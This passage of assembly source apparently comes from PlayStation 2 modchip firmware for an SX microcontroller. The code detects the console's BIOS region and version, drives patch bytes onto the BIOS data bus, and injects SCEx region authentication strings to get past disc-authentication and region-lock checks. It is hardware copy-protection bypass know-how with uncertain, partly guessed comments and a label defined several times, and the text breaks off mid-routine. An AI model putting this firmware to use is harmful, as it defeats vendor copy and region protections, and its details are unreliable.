IO_CDDVD_OE_A_1Q = ra.1 ; (CDDVD:OE)RA1(A) (flipflop 1Q#) IO_CDDVD_OE_A_1R = ra.3 ; (CDDVD:OE)RA3(A) (flipflop 1R#) IO_CDDVD_BUS_i = rb.7 ; (I)(CDDVD:D7) IO_CDDVD_BUS_b = rb.4 ; (B)(CDDVD:D2) IO_CDDVD_BUS_f = rb.0 ; (F)(just used for usa v14 jmp or clash with f=tr on v14 usa) IO_CDDVD_BUS_h = rb.6 ; (H)(how determins is jap v14 if set, assumption is no RW support at all on v14 unless sync works out for when checked) IO_CDDVD_BUS = rb ; $06 IO_BIOS_DATA = rc ; $07 ; (V)RC0(BIOS:D0) - (M)RC7(BIOS:D7) ;regs VAR_DC1 equ $08 ; DS 1 ; delay counter 1(small) VAR_DC2 equ $09 ; DS 1 ; delay counter 2(small) VAR_DC3 equ $0A ; DS 1 ; delay counter 3(big) VAR_TOFFSET equ $0b ; DS 1 ; table offset VAR_PSX_TEMP equ $0C ; DS 1 ; SEND_SCEX: rename later VAR_PSX_BC_CDDVD_TEMP equ $14 ; DS 1 ; SEND_SCEX: byte counter note start at 4(works down to 0) ; also used with mechacon patches and ps1 detect VAR_PSX_BYTE equ $0D ; DS 1 ; SEND_SCEX: byte(to send) VAR_PSX_BITC equ $13 ; DS 1 ; SEND_SCEX: bit counter ;note start at 8(works down to 0) VAR_BIOS_REV equ $10 ; DS 1 ; 1.X0 THE BIOS REVISION byte infront in BIOS string is X.00 VAR_BIOS_YR equ $11 ; DS 1 ; byteC of ;BIOS_VERSION_MATCHING VAR_BIOS_REGION_TEMP equ $12 ; DS 1 ; temp storage to compare byte7 of ;BIOS_VERSION_MATCHING VAR_SWITCH equ $0F ; DS 1 ; ? 0.94 comment ; bit 0=xcddvdman mode + PSX1 region switch, 1=PSX1/PSX2 wakeup mode, 2=PSX1 PAL/NTSC , 3=PSX2 logo patch , 4=DEV1 VAR_PATCH_FLAGS equ $0E ; DS 1 ; appears to be bits set for running patch routines .0-.7 for setb an offset ;------------------------------------------------------------ ;ps1 related = VAR_PATCH_FLAGS.0 ? ;PS1 DEV1 flow flag on completing ? ;reboot flow flag = VAR_PATCH_FLAGS.1 ? ;DEV1 PS1 flag for if to run mechacon patches ;MODE_START_END_REF = VAR_PATCH_FLAGS.2 ? ;seems to be ref for mode started and mode end, cleared when finished mode run or on reset if mode was incomplete finish not checking ;clrb on PS1_BOOT_MODE to set for flow PS1_MODE ? ;V9_V12_CONSOLE_19_20_BIOS = VAR_PATCH_FLAGS.3 ? ;also v11 1.9 bios has own ps1 routine ;BIOS_UK = VAR_PATCH_FLAGS.4 ;BIOS_USA = VAR_PATCH_FLAGS.5 ;BIOS_JAP = VAR_PATCH_FLAGS.6 ;SCEX inject loop flag = VAR_PATCH_FLAGS.7 ? ;set when SCEX_LOW loop for injecting. once cleared knows patching done to flow forward ;------------------------------------------------------------ ;VAR_SWITCH.0 = v12 console 2.0 bios set ? ;VAR_SWITCH.1 = PS1_MODE v12 2.0 bios console flag ? ;SECOND_BIOS_PATCH_END ref if was doing ps1 patching for 2.0 v12 as redirects flow there for different patch. ;VAR_SWITCH.2 = not used ;VAR_SWITCH.3 = PS2_MODE ref set when TAP_BOOT_MODE only clrb when end ? ;can flow onto ps1 reboot into PS1_MODE if detect ps1 media ;VAR_SWITCH.4 = DEV1 FLAG set ? ;VAR_SWITCH.5 = v14/75k+ ;set due to W for region of BIOS which decka models ;------------------------------------------------------------- ;mode setup for io's ;todo ;ref SX-SX-Users-Manual-R3.1.pdf section 5.3.2 org $07FF ; Reset Vector reset STARTUP ; jmp to startup process on reset vector skipping boot inital org $0000 ; PAGE1 000-1FF mode $000F mov w,#$ff mov !IO_BIOS_DATA,w mov w,#$ff mov !IO_CDDVD_BUS,w mov w,#$ff mov !ra,w mode $000A mov w,#$8 mov !IO_CDDVD_BUS,w mode $0009 clr w mov !IO_CDDVD_BUS,w mode $000B mov w,#$f3 mov !IO_CDDVD_BUS,w mode $000F sleep STARTUP mode $000D mov w,#$f7 mov !IO_CDDVD_BUS,w mode $000E mov w,#$be mov !IO_CDDVD_BUS,w mode $000F mov w,#$7 mov !ra,w mov w,#$ff mov !IO_CDDVD_BUS,w mov w,#$ff mov !IO_BIOS_DATA,w mov w,#$c7 mov !option,w clr fsr mode $0009 clr w mov !IO_CDDVD_BUS,w mov VAR_PSX_BITC,w mode $000F snb pd jmp CLEAR_CONSOLE_INFO_PREFIND snb VAR_PSX_BITC.2 jmp PS1_BOOT_MODE snb IO_EJECT jmp TRAY_IS_EJECTED snb VAR_PSX_BITC.1 page $0200 jmp POST_PATCH_4_MODE_START page $0200 jmp PS2_MODE_RB_IO_SET_SLEEP CLEAR_CONSOLE_INFO_PREFIND clr VAR_PATCH_FLAGS clr VAR_SWITCH jmp BIOS_GET_SYNC ;-------------------------------------------------------------------------------- MODE_SELECT_TIMER ;-------------------------------------------------------------------------------- mov w,#$64 ;w = #$64 = 100 mov VAR_DC1,w ;delay = 100 millisec. RTCC_SET_BIT mov w,#$3d ;w = #$3d = 61 mov rtcc,w ;load timer = 61 ,delay = (256-61)*256*0.02 micros.= 1000 micros. / 45 for 54M RTCC_CHECK mov w,rtcc ;wait for timer= 0 ... (don't use TEST RTCC) sb z ;skip next bit if rtcc = 0 jmp RTCC_CHECK ;loop w=rtcc till equal then will skip decsz VAR_DC1 ;VAR_DC1 = 100 count then skip next bit ; IS TIME PRESSED FOR MODES jmp RTCC_SET_BIT retp ;Return from call ;-------------------------------------------------------------------------------- SET_RB_IO_BUS_WAKE ;todo ;-------------------------------------------------------------------------------- mode $000A ; rb WKED_B: Wakeup Edge Register (MODE=XAh) sense rising, low-to-high mov w,#$6 ; 0000 0110 mov !IO_CDDVD_BUS,w ; rb.1 IO_BIOS_CS rb.2 IO_REST high-to-low sense mode $0009 ; rb WKPND_B: Wakeup Pending Flag Register (MODE=X9h) 0 indicates that no valid edge has occurred on the MIWU pin clr w ; 0000 0000 mov !IO_CDDVD_BUS,w ; clear all wakeup pending bits ; set to 0 indicates that no valid edge has occurred on the MIWU pin. ; The WKPND_B register comes up with undefine value upon reset. mode $000B ; rb WKEN_B: Wakeup Enable Register (MODE=XBh) Clear the bit to 0 to enable MIWU operation or set the bit to 1 to disable, MIWU operation. see Section 4.4. mov w,#$f3 ; 1111 0011 mov !IO_CDDVD_BUS,w ; rb.2 IO_REST rb.3 IO_EJECT enabled mode $000F ; XFh mode direction for RA, RB, RC output retp ;-------------------------------------------------------------------------------- SCEX_HI ;-------------------------------------------------------------------------------- setb IO_SCEX ; SCEX HI ; Delay About 5mS mov w,#$3b ;#59 var_dc3 mov mov VAR_DC3,w :loop1 mov w,#$d4 ; #212 set for 50mhz mov VAR_DC2,w not ra :loop2 mov w,#$3 mov VAR_DC1,w :loop3 decsz VAR_DC1 jmp :loop3 decsz VAR_DC2 jmp :loop2 decsz VAR_DC3 jmp :loop1 ret ;-------------------------------------------------------------------------------- SCEX_LOW ;-------------------------------------------------------------------------------- clrb IO_SCEX ; SCEX LOW ; Delay About 5mS+ mov w,#$3b mov VAR_DC3,w :loop1 mov w,#$d4 ; #212 for 50mhz mov VAR_DC2,w snb IO_BIOS_CS ; next byte / wait for bios CE LOW = BIOS select jmp :loop2 setb VAR_PATCH_FLAGS.7 :loop2 mov w,#$3 mov VAR_DC1,w :loop3 decsz VAR_DC1 jmp :loop3 decsz VAR_DC2 jmp :loop2 decsz VAR_DC3 jmp :loop1 ret ;-------------------------------------------------------------------------------- SCEx_DATA ;-------------------------------------------------------------------------------- jmp pc+w ; retw values are ascii hex retw $53 ; S ; USA 0 retw $43 ; C retw $45 ; E retw $41 ; A retw $53 ; S ; UK 4 retw $43 ; C retw $45 ; E retw $49 ; I retw $53 ; S ; JAP 8 retw $43 ; C retw $45 ; E retw $45 ; E ;-------------------------------------------------------------------------------- SEND_SCEX ;-------------------------------------------------------------------------------- snb VAR_PATCH_FLAGS.6 jmp jap snb VAR_PATCH_FLAGS.4 jmp uk clr VAR_TOFFSET jmp usa uk mov w,#$8 mov VAR_TOFFSET,w jmp usa jap mov w,#$4 mov VAR_TOFFSET,w jmp usa usa mov w,#$4 mov VAR_PSX_BC_CDDVD_TEMP,w mov w,#$b mov !ra,w next_byte mov w,VAR_TOFFSET call SCEx_DATA mov VAR_PSX_BYTE,w not VAR_PSX_BYTE mov w,#$8 mov VAR_PSX_BITC,w call SCEX_LOW call SCEX_LOW call SCEX_HI send rr VAR_PSX_BYTE snb c jmp hi sc call SCEX_LOW jmp next2 hi call SCEX_HI next2 decsz VAR_PSX_BITC jmp send inc VAR_TOFFSET decsz VAR_PSX_BC_CDDVD_TEMP jmp next_byte clrb IO_SCEX mov w,#$16 mov VAR_TOFFSET,w send_end call SCEX_LOW decsz VAR_TOFFSET jmp send_end mov w,#$f mov !ra,w ret ;-------------------------------------------------------------------------------- BIOS_WAIT_OE_LO_P1 ;-------------------------------------------------------------------------------- NOTCALLED0 snb IO_BIOS_OE jmp BIOS_WAIT_OE_LO_P1 ret BIOS_GET_SYNC ; wait for "S201" seems to wait for "PS20" since 0.94 ; 0123456789ABC ; Read "PS201?0?C200?xxxx.bin" snb IO_BIOS_OE ; next byte / wait for bios OE low jmp BIOS_GET_SYNC nop mov w,#$50 ; ASCII P ; is byte0 = 'P' seems to be new count prior for "PS201?0?C200?xxxx.bin" mov w,IO_BIOS_DATA-w sb z jmp BIOS_GET_SYNC call BIOS_WAIT_OE_LO_P1 ; next byte / wait for bios OE low mov w,#$53 ; ASCII S ; is byte1 (byte0 0.94) = 'S' ; v8 fix mov w,IO_BIOS_DATA-w sb z jmp BIOS_GET_SYNC call BIOS_WAIT_OE_LO_P1 ; next byte / wait for bios OE low mov w,#$32 ; ASCII 2 ; is byte2 (byte1 0.94) = '2' mov w,IO_BIOS_DATA-w sb z jmp BIOS_GET_SYNC call BIOS_WAIT_OE_LO_P1 ; next byte / wait for bios OE low mov w,#$30 ; ASCII 0 ; is byte3 (byte2 0.94) = '0' mov w,IO_BIOS_DATA-w sb z jmp BIOS_GET_SYNC call BIOS_WAIT_OE_LO_P1 ; next byte / wait for bios OE low CAPTURE_BIOS_REV sb IO_BIOS_OE ; next byte / wait for bios OE high ; skipping byte4 ; v14 and v0 support need this captured for x.00 of bios and extra compare 1 or 2 routine with current jmp CAPTURE_BIOS_REV call BIOS_WAIT_OE_LO_P1 ; next byte / wait for bios OE low mov w,IO_BIOS_DATA mov VAR_BIOS_REV,w ; capture byte5 as VAR_BIOS_REV ; v1.x0 of bios rev CAPTURE_BIOS_REGION snb IO_BIOS_OE ; next byte / wait for bios OE low jmp CAPTURE_BIOS_REGION nop mov w,#$30 ; ASCII 0 ; is byte6 0 as fixed value check mov w,IO_BIOS_DATA-w sb z jmp CAPTURE_BIOS_REGION ;loop back to CAPTURE_BIOS_REGION if not ASCII 0 call BIOS_WAIT_OE_LO_P1 ; next byte / wait for bios OE low mov w,IO_BIOS_DATA mov VAR_BIOS_REGION_TEMP,w ;store byte7 in VAR_BIOS_REGION_TEMP CHECK_BYTE_AB_REGION_CAPTURE_YR snb IO_BIOS_OE ; next byte / wait for bios OE low jmp CHECK_BYTE_AB_REGION_CAPTURE_YR nop mov w,#$30 ; ASCII 0 is byteA mov w,IO_BIOS_DATA-w sb z jmp CHECK_BYTE_AB_REGION_CAPTURE_YR ;loopback if byteA not 0 CHECK_BYTE_AB_REGION_CAPTURE_YR call BIOS_WAIT_OE_LO_P1 ; next byte / wait for bios OE low mov w,#$30 ; ASCII 0 is byteB mov w,IO_BIOS_DATA-w sb z jmp CHECK_BYTE_AB_REGION_CAPTURE_YR ;loopback if byteB not 0 CHECK_BYTE_AB_REGION_CAPTURE_YR call BIOS_WAIT_OE_LO_P1 ; next byte / wait for bios OE low mov w,IO_BIOS_DATA mov VAR_BIOS_YR,w ;captured byteC mov w,#$41 ;is byte7 ASCII A usa bios mov w,VAR_BIOS_REGION_TEMP-w ;capture byte7 compare to VAR_BIOS_REGION_TEMP if A snb z ;if compare dont = 0 (A) skip next line jmp BIOS_USA mov w,#$57 ;is byte7 ASCII W v14/75k+ bios mov w,VAR_BIOS_REGION_TEMP-w snb z jmp BIOS_V14 mov w,#$45 ;is byte7 ASCII E europe bios mov w,VAR_BIOS_REGION_TEMP-w ;capture byte7 compare to VAR_BIOS_REGION_TEMP if E snb z ;if compare dont = 0 (E) skip next line jmp BIOS_UK mov w,#$52 ;is byte7 ASCII R ; 'R', uk ; RUS 39008 fix ; russia region which is pal mov w,VAR_BIOS_REGION_TEMP-w ;capture byte7 compare to VAR_BIOS_REGION_TEMP if R snb z ;if compare dont = 0 (R) skip next line jmp BIOS_UK mov w,#$43 ;is byte7 ASCII C ; china region which pal region but ps2 ntsc-c made mov w,VAR_BIOS_REGION_TEMP-w ;capture byte7 compare to VAR_BIOS_REGION_TEMP if C snb z ;if compare dont = 0 (C) skip next line jmp BIOS_UK jmp BIOS_JAP ; no match on byte7 compares, assumed is jap region BIOS_USA setb VAR_PATCH_FLAGS.5 jmp RESTDOWN_CHK_PS2MODEorOTHER BIOS_V14 setb VAR_SWITCH.5 IFDEF RSTBUMP clrb IO_CDDVD_OE_A_1R sb IO_CDDVD_BUS_f jmp BIOS_USA ENDIF IFDEF USAv14 jmp BIOS_USA ENDIF IFDEF JAPv14 jmp BIOS_JAP ENDIF BIOS_UK setb VAR_PATCH_FLAGS.4 jmp RESTDOWN_CHK_PS2MODEorOTHER BIOS_JAP setb VAR_PATCH_FLAGS.6 RESTDOWN_CHK_PS2MODEorOTHER snb IO_REST jmp PS1_BOOT_MODE CHECK_IF_V9to14 setb VAR_PATCH_FLAGS.2 mov w,#$30 ; is bios 2.0 for v12 mov w,VAR_BIOS_REV-w snb z jmp START_BIOS_PATCH_SYNC_V9toV14 mov w,#$37 ; is bios 1.7 for v9-10 mov w,VAR_BIOS_REV-w snb z jmp START_BIOS_PATCH_SYNC_V9toV14 mov w,#$39 ; is bios 1.9 for v11 mov w,VAR_BIOS_REV-w snb z jmp START_BIOS_PATCH_SYNC_V9toV14 snb VAR_SWITCH.5 jmp START_BIOS_PATCH_SYNC_V9toV14 mov w,#$32 ; is bios 2.2 for v14 75k decka mov VAR_DC1,w START_BIOS_PATCH_SYNC_V1toV8 snb IO_BIOS_OE jmp START_BIOS_PATCH_SYNC_V1toV8 nop mov w,#$1e mov w,IO_BIOS_DATA-w sb z jmp START_BIOS_PATCH_SYNC_V1toV8 call BIOS_WAIT_OE_LO_P1 mov w,#$0 mov w,IO_BIOS_DATA-w sb z jmp START_BIOS_PATCH_SYNC_V1toV8 call BIOS_WAIT_OE_LO_P1 mov w,#$63 mov w,IO_BIOS_DATA-w sb z jmp START_BIOS_PATCH_SYNC_V1toV8 call BIOS_WAIT_OE_LO_P1 mov w,#$34 mov w,IO_BIOS_DATA-w sb z jmp START_BIOS_PATCH_SYNC_V1toV8 START_BIOS_PATCH_SYNC_V1toV8_L1 snb IO_BIOS_OE jmp START_BIOS_PATCH_SYNC_V1toV8_L1 nop mov w,#$24 mov w,IO_BIOS_DATA-w sb z jmp START_BIOS_PATCH_SYNC_V1toV8_L1 call BIOS_WAIT_OE_LO_P1 mov w,#$10 mov w,IO_BIOS_DATA-w sb z jmp START_BIOS_PATCH_SYNC_V1toV8_L1 START_BIOS_PATCH_SYNC_V1toV8_L2 sb IO_BIOS_OE jmp START_BIOS_PATCH_SYNC_V1toV8_L2 BIOS_V1toV8_PATCH1 snb IO_BIOS_OE jmp BIOS_V1toV8_PATCH1 decsz VAR_DC1 jmp START_BIOS_PATCH_SYNC_V1toV8_L2 mov w,#$0 mov IO_BIOS_DATA,w mode $000F ; XFh mode direction for RA, RB, RC output call BIOS_WAIT_OE_LO_P1 mov w,#$0 ; 0000 0000 mov !IO_BIOS_DATA,w ; IO_BIOS_DATA all pins output start patching here once sync call BIOS_WAIT_OE_LO_P1 mov w,#$0 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P1 mov w,#$0 mov IO_BIOS_DATA,w BIOS_V1toV8_IORESET_INPUT sb IO_BIOS_OE jmp BIOS_V1toV8_IORESET_INPUT mov w,#$ff mov !IO_BIOS_DATA,w jmp MODE_SELECT_START START_BIOS_PATCH_SYNC_V9toV14 snb IO_BIOS_OE jmp START_BIOS_PATCH_SYNC_V9toV14 nop mov w,#$dc mov w,IO_BIOS_DATA-w sb z jmp START_BIOS_PATCH_SYNC_V9toV14 START_BIOS_PATCH_SYNC_V9toV14_L1 sb IO_BIOS_OE jmp START_BIOS_PATCH_SYNC_V9toV14_L1 START_BIOS_PATCH_SYNC_V9toV14_L2 snb IO_BIOS_OE jmp START_BIOS_PATCH_SYNC_V9toV14_L2 mov w,#$24 mov w,IO_BIOS_DATA-w sb z jmp START_BIOS_PATCH_SYNC_V9toV14 START_BIOS_PATCH_SYNC_V9toV14_L3 sb IO_BIOS_OE jmp START_BIOS_PATCH_SYNC_V9toV14_L3 START_BIOS_PATCH_SYNC_V9toV14_L4 snb IO_BIOS_OE jmp START_BIOS_PATCH_SYNC_V9toV14_L4 mov w,#$10 mov w,IO_BIOS_DATA-w sb z jmp START_BIOS_PATCH_SYNC_V9toV14 START_BIOS_PATCH_SYNC_V9toV14_L5 sb IO_BIOS_OE jmp START_BIOS_PATCH_SYNC_V9toV14_L5 BIOS_V9toV14_PATCH1 snb IO_BIOS_OE jmp BIOS_V9toV14_PATCH1 mov w,#$45 mov w,IO_BIOS_DATA-w sb z jmp START_BIOS_PATCH_SYNC_V9toV14 mov w,#$0 mov IO_BIOS_DATA,w mode $000F ; XFh mode direction for RA, RB, RC output mov w,#$0 ; 0000 0000 mov !IO_BIOS_DATA,w ; IO_BIOS_DATA all pins output start patching here once sync call BIOS_WAIT_OE_LO_P1 mov w,#$0 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P1 mov w,#$0 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P1 mov w,#$0 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P1 mov w,#$ff ; 1111 1111 mov !IO_BIOS_DATA,w ; IO_BIOS_DATA all pins input patch end for more sync MODE_SELECT_START mov w,#$a mov VAR_DC2,w MODE_SELECT_TIMER_L1 call MODE_SELECT_TIMER snb IO_REST jmp TAP_BOOT_MODE decsz VAR_DC2 jmp MODE_SELECT_TIMER_L1 MODE_SELECT_TIMER_L2 sb IO_REST jmp MODE_SELECT_TIMER_L2 mov w,#$5 mov VAR_DC2,w MODE_SELECT_TIMER_L3 call MODE_SELECT_TIMER decsz VAR_DC2 jmp MODE_SELECT_TIMER_L3 mov w,#$64 mov VAR_DC2,w DISABLE_MODE call MODE_SELECT_TIMER sb IO_REST page $0600 jmp DEV1_MODE_LOAD_START decsz VAR_DC2 jmp DISABLE_MODE sleep PS1_BOOT_MODE clr fsr clrb VAR_PATCH_FLAGS.2 TAP_BOOT_MODE snb VAR_SWITCH.4 page $0600 jmp DEV1_MODE_LOAD_START setb VAR_PATCH_FLAGS.1 clrb VAR_PATCH_FLAGS.0 setb VAR_SWITCH.3 clrb VAR_SWITCH.1 page $0200 jmp PS2_MODE_START CHECK_IF_START_PS2LOGO clr fsr sb VAR_PATCH_FLAGS.2 page $0400 jmp START_PS2LOGO_PATCH_LOAD sb VAR_PATCH_FLAGS.2 jmp TRAY_IS_EJECTED TRAY_IS_EJECTED sb IO_REST jmp PS1_BOOT_MODE snb IO_EJECT jmp TRAY_IS_EJECTED RESUME_MODE_FROM_EJECT mov w,#$5 mov VAR_DC2,w RESUME_MODE_FROM_EJECT_L1 mov w,#$64 mov VAR_DC1,w RESUME_MODE_FROM_EJECT_L2 mov w,#$3b mov rtcc,w RESUME_MODE_FROM_EJECT_L3 sb IO_BIOS_CS jmp RESUME_MODE_FROM_EJECT sb IO_REST jmp PS1_BOOT_MODE snb IO_EJECT jmp TRAY_IS_EJECTED mov w,rtcc sb z jmp RESUME_MODE_FROM_EJECT_L3 decsz VAR_DC1 jmp RESUME_MODE_FROM_EJECT_L2 decsz VAR_DC2 jmp RESUME_MODE_FROM_EJECT_L1 call SET_RB_IO_BUS_WAKE clr fsr snb VAR_SWITCH.4 page $0600 jmp START_CDDVD_PATCH mov w,#$2 mov VAR_TOFFSET,w mov w,#$32 ;ASCI 2 mov w,VAR_BIOS_YR-w ; is 2002 Year console snb z jmp CONSOLE_2002_JMP mov w,#$1 mov VAR_TOFFSET,w CONSOLE_2002_JMP page $0600 jmp START_CDDVD_PATCH PS1_MODE_START_PATCH clr fsr clrb VAR_PATCH_FLAGS.7 mov w,#$ff mov VAR_PSX_TEMP,w RUN_PS1_SCEX_INJECT call SEND_SCEX snb VAR_PATCH_FLAGS.7 jmp PS1_SCEX_INJECT_COMPLETE decsz VAR_PSX_TEMP jmp RUN_PS1_SCEX_INJECT page $0200 jmp PS2_MODE_RB_IO_SET_SLEEP PS1_SCEX_INJECT_COMPLETE snb VAR_PATCH_FLAGS.0 jmp RUN_PS1_SCEX_INJECT mov w,#$2 mov VAR_TOFFSET,w mov w,#$32 mov w,VAR_BIOS_YR-w snb z jmp PS1_IS_V14 mov w,#$1 mov VAR_TOFFSET,w PS1_IS_V14 snb VAR_SWITCH.5 ; check if VAR_SWITCH.5 set meaning v14/75k decka jmp PS1_V14_PATCH page $0400 jmp PS1_CONSOLE_PAL_YFIX PS1_V14_PATCH mov w,#$31 mov VAR_DC2,w mov w,#$1 mov VAR_PSX_BC_CDDVD_TEMP,w mov w,#$40 mov VAR_PSX_TEMP,w mov w,#$1b mov VAR_PSX_BITC,w mov w,#$0 mov IO_BIOS_DATA,w page $0400 jmp PS1_MODE_START org $0200 ; PAGE2 200-3FF ;-------------------------------------------------------------------------------- BIOS_WAIT_OE_LO_P2 ;-------------------------------------------------------------------------------- NOTCALLED3 snb IO_BIOS_OE ; next byte / wait for bios OE low jmp BIOS_WAIT_OE_LO_P2 ; next byte / wait for bios OE low ret ;-------------------------------------------------------------------------------- RUN_BIOS_PATCHES_SRAM ;-------------------------------------------------------------------------------- NOTCALLED1 mov w,indf ; SRAM address moved to w and output to IO_BIOS_DATA mov IO_BIOS_DATA,w inc fsr ; +1 to step through the SRAM cached patches mov w,#$10 ; 10h or so always in SRAM address section 6.2.1 or fsr,w ; so that ends in top address of registery which is SRAM access. bottom 0-f reserved so when gets 1f goes 30h than 20h RUN_BIOS_PATCHES_SRAM_SENDLOOP snb IO_BIOS_OE ; next byte / wait for bios OE low jmp RUN_BIOS_PATCHES_SRAM_SENDLOOP ; jmp RUN_BIOS_PATCHES_SRAM_SENDLOOP if IO_BIOS_OE high decsz VAR_DC2 ; loop calling of SRAM cache till VAR_DC2=0 then patch finished, VAR_DC2 set in loading of call here for ea patch jmp RUN_BIOS_PATCHES_SRAM END_BIOS_PATCHES_SRAM_RESET_IO sb IO_BIOS_OE ; next byte / wait for bios OE high jmp END_BIOS_PATCHES_SRAM_RESET_IO ; jmp END_BIOS_PATCHES_SRAM_RESET_IO if IO_BIOS_OE high mov w,#$ff ; 1111 1111 mov !IO_BIOS_DATA,w ; all pins Hi-Z input clr fsr retp ; patching done. Return from call ;-------------------------------------------------------------------------------- BIOS_PATCH_DATA ;-------------------------------------------------------------------------------- jmp pc+w retw $23 retw $80 retw $ac retw $c retw $0 retw $0 retw $0 retw $24 retw $10 retw $3c retw $e4 retw $24 retw $80 retw $ac retw $e4 retw $22 retw $90 retw $ac retw $84 retw $bc mov w,#$4f mov VAR_DC3,w jmp BIOS_PATCH_DATA_PART2_ALL retw $24 retw $10 retw $3c retw $74 retw $2a retw $80 retw $ac retw $74 retw $28 retw $90 retw $ac retw $bc retw $d3 mov w,#$4f mov VAR_DC3,w jmp BIOS_PATCH_DATA_PART2_ALL retw $24 retw $10 retw $3c retw $78 retw $2d retw $80 retw $ac retw $40 retw $2b retw $90 retw $ac retw $a0 retw $ff mov w,#$4f mov VAR_DC3,w jmp BIOS_PATCH_DATA_PART2_ALL retw $24 retw $10 retw $3c retw $e4 retw $2c retw $80 retw $ac retw $f4 retw $2a retw $90 retw $ac snb VAR_SWITCH.0 jmp V12_CONSOLE_20_BIOS_JMP mov w,#$46 mov VAR_DC3,w retw $a4 retw $ec mov w,#$4f mov VAR_DC3,w jmp BIOS_PATCH_DATA_PART2_ALL V12_CONSOLE_20_BIOS_JMP mov w,#$4d mov VAR_DC3,w retw $c retw $f9 BIOS_PATCH_DATA_PART2_ALL retw $91 retw $34 retw $0 retw $0 retw $30 retw $ae retw $c retw $0 retw $0 retw $0 retw $c7 retw $2 retw $34 retw $19 retw $19 retw $e2 retw $ba retw $11 retw $19 retw $e2 retw $ba retw $3c retw $c7 retw $2 retw $34 retw $19 retw $19 retw $c2 retw $bb retw $11 retw $19 retw $c2 retw $bb retw $60 retw $9 retw $8 retw $8 PS2_MODE_START clr fsr sb VAR_PATCH_FLAGS.2 jmp CHECK_IF_V1_v2or3_V4_V5to8 snb VAR_SWITCH.5 page $0400 jmp PS2LOGO_PATCHLOAD_22_JMP1 mov w,#$b mov VAR_DC1,w mov w,#$59 jmp ALL_CONTIUNE_BIOS_PATCH CHECK_IF_V1_v2or3_V4_V5to8 clr fsr snb VAR_SWITCH.5 jmp CHECK_V9to14_REV ;jmp CHECK_V9to14_REV if CHECK_V9to14_REV set meaning W v14/75k+ mov w,#$31 ;ascii 1 mov w,VAR_BIOS_REV-w ;does VAR_BIOS_REV = 1 ;v1 snb z ;skip next line if doesnt = 0 meaning is 1 ascii jmp V1_CONSOLE_11_BIOS ;jmp V1_CONSOLE_11_BIOS if VAR_BIOS_REV did = 1 ascii mov w,#$32 ;ascii 2 mov w,VAR_BIOS_REV-w ;does VAR_BIOS_REV = 2 ;v2-3 snb z ;skip next line if doesnt = 0 meaning is 2 ascii jmp V2or3_CONSOLE_12_BIOS ;jmp V2or3_CONSOLE_12_BIOS if VAR_BIOS_REV did = 2 ascii mov w,#$35 ;ascii 5 mov w,VAR_BIOS_REV-w ;does VAR_BIOS_REV = 5 ;v4 snb z ;skip next line if doesnt = 0 meaning is 5 ascii jmp V4_CONSOLE_15_BIOS ;jmp V4_CONSOLE_15_BIOS if VAR_BIOS_REV did = 5 ascii jmp CHECK_V9to14_REV ;jmp CHECK_V9to14_REV if VAR_BIOS_REV didnt = 5 ascii V1_CONSOLE_11_BIOS mov w,#$c0 mov IO_BIOS_DATA,w mov w,#$b0 mov VAR_DC3,w mov w,#$74 mov VAR_TOFFSET,w jmp V1to8_CONTIUNE V2or3_CONSOLE_12_BIOS mov w,#$d8 mov IO_BIOS_DATA,w mov w,#$40 mov VAR_DC3,w mov w,#$7a mov VAR_TOFFSET,w jmp V1to8_CONTIUNE V4_CONSOLE_15_BIOS mov w,#$60 mov VAR_DC3,w mov w,#$7d mov VAR_TOFFSET,w mov w,#$c mov IO_BIOS_DATA,w V1to8_CONTIUNE mov w,#$7 mov VAR_DC1,w mov VAR_DC2,w clr w jmp ALL_CONTIUNE_BIOS_PATCH CHECK_V9to14_REV mov w,#$2 mov IO_BIOS_DATA,w mov w,#$17 mov VAR_DC1,w mov VAR_DC2,w ; VAR_DC1 VAR_DC2 = 17h = 23 mov w,#$37 ;ascii 7 mov w,VAR_BIOS_REV-w ;does VAR_BIOS_REV = 7 ;1.7bios v9-11 50k snb z jmp V9_CONSOLE_17_BIOS mov w,#$39 ;ascii 9 mov w,VAR_BIOS_REV-w ;does VAR_BIOS_REV = 9 ;1.9bios v9-11 50k snb z jmp V9_CONSOLE_19_BIOS mov w,#$30 ;ascii 0 mov w,VAR_BIOS_REV-w ;does VAR_BIOS_REV = 0 ;2.0bios v12 snb z jmp V12_CONSOLE_20_BIOS mov w,#$32 mov w,VAR_BIOS_REV-w snb z jmp V14_CONSOLE_22_BIOS mov w,#$30 mov VAR_DC3,w mov w,#$7d mov VAR_TOFFSET,w mov w,#$7 jmp ALL_CONTIUNE_BIOS_PATCH V9_CONSOLE_17_BIOS mov w,#$4 mov VAR_DC3,w mov w,#$94 mov VAR_TOFFSET,w mov w,#$17 jmp ALL_CONTIUNE_BIOS_PATCH V14_CONSOLE_22_BIOS setb VAR_PATCH_FLAGS.3 setb VAR_SWITCH.5 mov w,#$d4 mov VAR_DC3,w mov w,#$a9 mov VAR_TOFFSET,w mov w,#$27 jmp ALL_CONTIUNE_BIOS_PATCH V9_CONSOLE_19_BIOS setb VAR_PATCH_FLAGS.3 mov w,#$64 mov VAR_DC3,w mov w,#$9e mov VAR_TOFFSET,w mov w,#$37 jmp ALL_CONTIUNE_BIOS_PATCH V12_CONSOLE_20_BIOS setb VAR_PATCH_FLAGS.3 setb VAR_SWITCH.0 mov w,#$7c mov VAR_DC3,w mov w,#$a9 mov VAR_TOFFSET,w mov w,#$37 ALL_CONTIUNE_BIOS_PATCH snb VAR_SWITCH.4 jmp SECONDBIOS_PATCH_DEV1_STACK mov VAR_DC3,w mov w,#$15 mov fsr,w LOAD_BIOS_PATCH_DATA mov w,VAR_DC3 call BIOS_PATCH_DATA mov indf,w inc fsr mov w,#$10 or fsr,w inc VAR_DC3 decsz VAR_DC1 jmp LOAD_BIOS_PATCH_DATA clr fsr snb VAR_PATCH_FLAGS.2 page $0000 jmp TRAY_IS_EJECTED SECOND_BIOS_PATCH_SYNC snb IO_BIOS_OE jmp SECOND_BIOS_PATCH_SYNC mov w,#$60 mov w,IO_BIOS_DATA-w sb z jmp SECOND_BIOS_PATCH_SYNC SECOND_BIOS_PATCH_SYNC_LOOP1 sb IO_BIOS_OE jmp SECOND_BIOS_PATCH_SYNC_LOOP1 SECOND_BIOS_PATCH_SYNC_LOOP2 snb IO_BIOS_OE jmp SECOND_BIOS_PATCH_SYNC_LOOP2 mov w,#$0 mov w,IO_BIOS_DATA-w sb z jmp 